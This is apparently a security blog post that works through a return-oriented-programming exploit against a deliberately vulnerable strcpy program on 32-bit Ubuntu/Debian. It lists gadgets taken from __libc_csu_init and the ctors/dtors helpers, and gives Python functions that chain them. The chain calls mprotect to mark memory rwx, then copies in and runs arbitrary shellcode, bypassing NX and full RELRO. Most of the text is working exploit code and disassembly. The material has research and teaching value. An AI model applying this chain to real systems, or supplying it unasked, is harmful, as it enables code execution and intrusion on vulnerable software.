ROP with common functions in Ubuntu/Debian x86

After reading "How to make a ROP when gadgets seems to miss ? (kind of universal ROP under linux)", I see something missing. It is hard to change the shellcode (such as connect back) and it does not work on full RELRO binary. So I tried do ROP too (for fun) with following code and compilation option on Ubuntu 10.04 (x86).

#include <string.h>
int main(int argc, char **argv)
{
    char buf[64];
    strcpy(buf, argv[1]);
    return 0;
}

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o testfoo testfoo.c
$ checksec.sh --file testfoo
RELRO           STACK CANARY      NX            PIE                     FILE
Full RELRO      No canary found   NX enabled    No PIE                  testfoo

Here the "objdump -d" output (testfoo_objdump.txt). I will paste only gadgets here because the full output is very long.

From agix's work, he modified GOT entry to get new gadgets. It cannot be used when full RELRO is enabled. But we still can use "call *%eax" (or similar) to make a new gadgets.

Even a binary is full RELRO, there is still static memory address that permission is "rw" (at least .data and .bss section). When a binary file is mapped to memory, the memory must be allocated a multiple of page size (normally is 4096 bytes). So in most case, there are some unused memory area that is initialized to zero. I will use this memory area to store some value.

Let look at gadgets in __libc_csu_init first.

# gadget #1
 8048472:	83 c4 1c             	add    $0x1c,%esp
 8048475:	5b                   	pop    %ebx
 8048476:	5e                   	pop    %esi
 8048477:	5f                   	pop    %edi
 8048478:	5d                   	pop    %ebp
 8048479:	c3                   	ret 

This gadget can be used for setting ebx, esi, edi, ebp and clean up stacks.

# gadget #2
 8048439:	8d bb 0c ff ff ff    	lea    -0xf4(%ebx),%edi
 804843f:	8d 83 0c ff ff ff    	lea    -0xf4(%ebx),%eax
 8048445:	29 c7                	sub    %eax,%edi
 8048447:	c1 ff 02             	sar    $0x2,%edi
 804844a:	85 ff                	test   %edi,%edi
 804844c:	74 24                	je     8048472 <__libc_csu_init+0x52>

This gadget can be used for setting eax after setting ebx. The 0xf4 is offset of _GLOBAL_OFFSET_TABLE_ and __init_array_start.

# gadget #3
 8048450:	8b 45 10             	mov    0x10(%ebp),%eax
 8048453:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048457:	8b 45 0c             	mov    0xc(%ebp),%eax
 804845a:	89 44 24 04          	mov    %eax,0x4(%esp)
 804845e:	8b 45 08             	mov    0x8(%ebp),%eax
 8048461:	89 04 24             	mov    %eax,(%esp)
 8048464:	ff 94 b3 0c ff ff ff 	call   *-0xf4(%ebx,%esi,4)
 804846b:	83 c6 01             	add    $0x1,%esi
 804846e:	39 fe                	cmp    %edi,%esi
 8048470:	72 de                	jb     8048450 <__libc_csu_init+0x30>

This gadget can be used for calling a function, based on ebx and esi, with 3 arguments. We need to set edi to make jb condition fail. But limitation of this gadget is we must know the address of function arguments.

Next, gadgets in __do_global_ctors_aux

# gadget #4
 80484a7:	5b                   	pop    %ebx
 80484a8:	5d                   	pop    %ebp
 80484a9:	c3                   	ret  

This gadget can be used for setting ebx and use a little stack space.

# gadget #5
(gdb) x/6i 0x0804849e
   0x804849e <__do_global_ctors_aux+30>:        add    -0xb8a0008(%ebx),%eax
   0x80484a4 <__do_global_ctors_aux+36>:        add    $0x4,%esp
   0x80484a7 <__do_global_ctors_aux+39>:        pop    %ebx
   0x80484a8 <__do_global_ctors_aux+40>:        pop    %ebp
   0x80484a9 <__do_global_ctors_aux+41>:        ret
   0x80484aa <__do_global_ctors_aux+42>:        nop

This gadget cannot be found in objdump output. I use gdb to intrepret at address 0x0804849e as instructions. It can be used for adding value from memory to eax. Because we can control eax, it is considered as load value from memory to eax (similar to "mov (%ebx),%eax" instruction).

Next, gadgets in __do_global_dtors_aux.

# gadget #6
(gdb) x/3i 0x080483a9
   0x80483a9 <__do_global_dtors_aux+73>:        add    $0x804a008,%eax
   0x80483ae <__do_global_dtors_aux+78>:        add    %eax,0x5d5b04c4(%ebx)
   0x80483b4 <__do_global_dtors_aux+84>:        ret

This gadget also can be found with gdb at address 0x080483a9. The "add %eax,0x5d5b04c4(%ebx)" instruction can be used for storing eax value to memory if the value in memory is 0 (similar to "mov %eax,(%ebx)"). When wanting to avoid badchars from setting eax, we use this whole gadget to adjust eax.

I also found this gadet in in __do_global_dtors_aux with gdb.

(gdb) x/2i 0x08048392
   0x8048392 <__do_global_dtors_aux+50>:        add    %esp,0x804a00c(%ebx)
   0x8048398 <__do_global_dtors_aux+56>:        call   *0x8049ef8(,%eax,4)

It can be used for storing esp to memory. But because 0x804a00c (dtor_idx) is near to static memory address, ebx has to be very low value (0x0000????). I cannot find a gadget to adjust ebx. So we cannot use it if \x00 is badchar (like this example).

These are 6 gadgets I use to do ROP. Let see my python code for the variable name of the gadget addresses.

# start address of __do_global_dtors_aux
do_global_dtors_aux_addr = 0x08048360

# start address of __libc_csu_init
libc_csu_init_addr = 0x08048420
init_array_offset = 0xf4
bss_completed_addr = 0x0804a008

# start address of __do_global_ctors_aux
do_global_ctors_aux_addr = 0x08048480

set_eax_addr = libc_csu_init_addr + 0x19    # gadget #2
set_4reg_addr = libc_csu_init_addr + 0x55   # gadget #1
call_3args_addr = libc_csu_init_addr + 0x30 # gadget #3

set_ebx_addr = do_global_ctors_aux_addr + 0x27  # gadget #4
load_eax_addr = do_global_ctors_aux_addr + 0x1e # gadget #5

store_eax_addr = do_global_dtors_aux_addr + 0x4e  # gadget #6
store_eax_addr2 = do_global_dtors_aux_addr + 0x49 # can be used for avoiding badchars

JUNK = 0xbadc0de
JUNK_STR = pack("<I", JUNK)

Here how I use these gadgets. Start with simple set eax and ebx.

def do_set_ebx(ebx):
    # 12 bytes
    return pack("<III", set_ebx_addr, ebx, JUNK)

def do_set_eax_ebx(eax, ebx, esi=JUNK, edi=JUNK, ebp=JUNK):
    # (3+1+7+4)*4 = 60 bytes
    ebx_tmp = (eax + init_array_offset) & 0xFFFFFFFF
    return do_set_ebx(ebx_tmp) + pack("<I", set_eax_addr) + JUNK_STR*7 + pack("<IIII", ebx, esi, edi, ebp)

Next is storing value in memory. Common task.

def do_store_value(value, mem_addr):
    # 64 bytes
    eax = value
    ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr)
do_add_memref = do_store_value

def do_store_value2(value, mem_addr):
    # 64 bytes
    eax = (value - bss_completed_addr) & 0xFFFFFFFF
    ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr2)
do_add_memref2 = do_store_value2

Before seeing next functions, let think about the goal first. I need the ROP to be reusable with other shellcode, so the goal is calling mprotect (I use mprotect because it requires only 3 arguments) and copying the shellcode into rwx area. Looking at gadget #3, we need 3 arguments in memory and the function address to be called in memory too. So we need to put the mprotect function address in memory. To find the mprotect address, we need to get value from GOT entry, then add/sub an offset. Here is the function to do this task.

def do_store_func_addr(func_plt_got_addr, func_offset, mem_addr):
    # 80 bytes
    eax1 = (func_offset - bss_completed_addr) & 0xFFFFFFFF
    ebx1 = func_plt_got_addr + 0x0b8a0008  # normally got is in 0x08??????, so no overflow
    ebx2 = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax1, ebx1) + pack("<IIII", load_eax_addr, JUNK, ebx2, JUNK) + pack("<I", store_eax_addr2)

The last function is calling with 3 arguments.

def do_call_3arg(func_mem_addr, args_mem_addr):
    esi = 0x02020202
    ebx = (func_mem_addr + init_array_offset - (esi*4)) & 0xFFFFFFFF
    ebp = args_mem_addr - 8
    edi = 0x01010101  # to make jb condition fail
    return pack("<IIIII", set_4reg_addr, ebx, esi, edi, ebp) + pack("<I", call_3args_addr) + JUNK_STR*11

We have all functions. Time to assemble them to call mprotect.
Note: I have to store the mprotect arguments in memory first because they always contain \x00 value (badchar for this example).

rop = ""
# prepare mprotect address and its arguments on static stack
rop += do_store_func_addr(libc_ref_func_got, mprotect_offset, static_mem_zero_start)  # memprotect address in libc
rop += do_store_value(static_mem_rw_start, static_mem_zero_start + 8)
rop += do_store_value2(mprotect_len, static_mem_zero_start + 12)
rop += do_store_value2(7, static_mem_zero_start + 16)  # rwx
# call mprotect
rop += do_call_3arg(static_mem_zero_start, static_mem_zero_start + 8)

After got the memory with rwx permission, there are many methods to execute any shellcode. I inject a gadget to set strcpy src address in stack.

# metasm > lea eax,[esp+0x10]
# "\x8d\x44\x24\x10"
# metasm > mov [esp+0xc],eax
# "\x89\x44\x24\x0c"
# metasm > ret
# "\xc3"
rop += do_store_value(0x1024448d, static_mem_zero_start + 20)
rop += do_store_value(0x0c244489, static_mem_zero_start + 24)
rop += do_store_value(0x909090c3, static_mem_zero_start + 28)

Then I use strcpy@plt to copy the shellcode and jump to it.

rop += pack("<IIIII", static_mem_zero_start + 20, strcpy_plt, static_mem_zero_start + 32, static_mem_zero_start + 32, JUNK)
rop = "A"*64 + pack("<I", ret_addr)*5 + rop + shellcode

Here is my full python code: genrop.py. Now we can change shell easily :).

$ python genrop.py
$ ./testfoo "`cat rop.out`"

I also tried on Ubuntu 11.04 and Debian 6. It works. But on Fedora 14/15, the __do_global_dtors_aux is slightly different. Gadget #6 is changed to use ecx and ebp for storing value in memory. I cannot find any gadget to control ecx. I think we can use gadgets in libc by using "call *%eax". It is harder but still possible.